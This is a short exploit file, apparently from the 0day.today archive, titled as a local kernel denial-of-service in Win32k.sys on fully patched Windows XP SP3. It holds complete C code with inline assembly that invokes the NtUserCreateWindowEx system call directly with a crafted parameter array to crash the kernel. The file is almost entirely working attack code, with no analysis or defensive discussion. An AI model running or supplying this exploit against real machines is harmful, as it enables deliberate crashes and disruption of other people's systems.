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Microsoft Windows xp Win32k.sys Local Kernel DoS
[////////////////////////////////////////////////////////////////////////////
//
// Title: Microsoft Windows xp Win32k.sys Local Kernel DoS Vulnerability
// Author: Lufeng Li of Neusoft Corporation
// Vendor: www.microsoft.com
// Vulnerable: Windows xp sp3(full patch)
//
/////////////////////////////////////////////////////////////////////////////
#include <Windows.h>
#include <stdio.h>
void NtUserCreateWindowEx(HANDLE d1,int d2,int d3)
{
_asm{
xor eax,eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push d3
push d2
push d1
push eax
mov eax,0x1157
mov edx,7FFE0300h
call dword ptr[edx]
ret 0x3c
}
}
void main()
{
UINT i=0;
UINT c[]={
0x00000000,0x28001500,0xff7c98cc,0x23ffffff
,0x167c98cc,0x007c98fb,0x02001500,0x78010000
,0x00000000,0x00001500,0x00000000,0x00001500
,0x00000000,0x00001500,0x00000000,0x00000000
,0x00000000,0x00000000,0x34000000,0x3cc00000
,0x5c0007fb,0x617c92f6,0x347c92f6,0x00c00000
,0x00000000,0x18000000,0x000007fb,0xf8000000
,0x200007fd,0x347c92e9,0x02c00000,0x4c000000
};
HWND _wnd = CreateWindowEx(WS_EX_TOPMOST,
"magic",
"magic",
WS_POPUP,
100,
100,
100,
100,
0,
0,
GetModuleHandle( 0 ),
0);
NtUserCreateWindowEx(_wnd,0x26,(UINT)c);
}
# 0day.today [2024-11-16] #